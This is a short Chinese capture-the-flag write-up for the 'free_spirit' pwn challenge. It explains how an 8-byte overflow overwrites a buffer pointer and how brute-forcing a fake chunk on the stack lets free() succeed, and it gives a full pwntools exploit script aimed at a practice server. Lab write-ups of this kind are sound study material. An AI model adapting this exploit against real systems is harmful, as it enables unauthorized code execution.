free

    技术2022-07-11  93

    free_spirit(在栈上爆破一个可以被free的fake_chunk)

    首先检查一下程序的保护机制

    然后,我们用IDA分析一下,功能3存在8字节溢出,将会把v7下面的buf指针覆盖掉,而覆盖了buf指针,就能实现任意地址写。

     

     

    那么,我们劫持函数栈返回地址为one_gadget即可,为了绕过结尾对buf的检查,我们的buf非0,且free后不会报错。

    但是我们泄露不了堆地址,因此,只能在栈上找一个合适的fake_chunk,因此,可以直接在栈上爆破,直到程序不崩溃,那么就可以执行one_gadget了。

    #coding:utf8 from pwn import * backdoor = 0x0000000000400A3E i = -54 while True: try: #sh = process('./free_spirit') sh = remote('node3.buuoj.cn',29949) i -= 1 sh.sendlineafter('>','2') sh.recvuntil('0x') stack_addr = int(sh.recvuntil('\n',drop = True),16) print 'stack_addr=',hex(stack_addr) sh.sendlineafter('>','1') sleep(0.5) sh.send('a'*0x8 + p64(stack_addr + 0x58) + '\x00'*0x10) sleep(0.5) #8字节溢出,覆盖buf指针,造成任意地址写 sh.sendlineafter('>','3') sh.sendlineafter('>','1') sh.sendline(p64(backdoor) + p64(stack_addr + i * 8)) #8字节溢出,覆盖buf指针,使得free不报错 sh.sendlineafter('>','3') #raw_input() sh.sendlineafter('>','0') sh.interactive() except: print 'trying...' sh.close()

     

    Processed: 0.013, SQL: 9